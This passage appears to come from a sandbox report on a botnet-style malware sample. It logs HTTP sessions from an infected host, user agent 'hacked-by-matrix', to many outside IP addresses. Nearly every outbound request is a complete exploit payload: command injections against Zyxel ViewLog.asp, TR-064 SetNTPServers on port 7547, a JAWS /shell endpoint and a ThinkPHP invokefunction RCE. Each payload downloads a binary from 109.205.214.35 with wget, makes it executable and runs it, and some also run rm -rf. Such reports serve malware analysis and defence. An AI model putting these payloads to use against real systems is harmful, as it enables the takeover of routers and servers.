20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 47 50 4f 4e 20 48 6f 6d 65 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="utf-8" lang="utf-8" dir="ltr"><head><title>GPON Home Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="refresh" content="0; url=/login.html" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.23	56528	206.189.250.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:54.826915979 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:54.997164011 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.2 Date: Thu, 21 Mar 2024 04:26:54 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.2</center></body></html>
Mar 21, 2024 05:26:54.997317076 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Thu, 21 Mar 2024 04:26:54 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.23	49328	64.32.108.117	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:54.851084948 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:55.007044077 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.23	60372	177.106.151.127	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:54.932604074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:55.169713020 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.23	49334	64.32.108.117	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.006335020 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:55.816248894 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:56.776148081 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:56.928316116 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.23	51476	187.202.234.215	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.138593912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.584146976 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.23	60384	177.106.151.127	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.169298887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:55.415719032 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.23	45122	201.132.247.115	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.204489946 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.23	45140	201.132.247.115	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.415822983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:56.493540049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.23	57848	115.4.73.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.419578075 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:56.872160912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.23	36360	204.108.11.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.581748962 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.23	37334	69.164.56.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.590379953 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:55.735918999 CET	227	IN	HTTP/1.0 400 Bad Request Server: EdgePrism/5.1.8.0 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:26:55 GMT Content-Type: text/plain Expires: Thu, 21 Mar 2024 04:26:55 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.23	37282	69.164.56.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.614579916 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:55.762042999 CET	227	IN	HTTP/1.0 400 Bad Request Server: EdgePrism/5.1.8.0 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:26:55 GMT Content-Type: text/plain Expires: Thu, 21 Mar 2024 04:26:55 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.23	34262	57.128.169.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.625384092 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:55.786828041 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.23	46284	104.19.73.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.674560070 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.23	36946	23.50.29.254	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.786844015 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:56.105540037 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:55 GMT Date: Thu, 21 Mar 2024 04:26:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 36 66 30 32 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 31 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.96f02817.1710995215.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.23	41190	95.154.219.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.816338062 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.648159027 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.824023008 CET	445	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:56 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/5.5.15 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.23	48622	95.101.150.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.831279039 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.007106066 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:26:55 GMT Date: Thu, 21 Mar 2024 04:26:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 65 36 33 32 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 31 35 26 23 34 36 3b 39 35 64 61 39 35 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.de632617.1710995215.95da959</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.23	38370	95.216.97.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.856436014 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
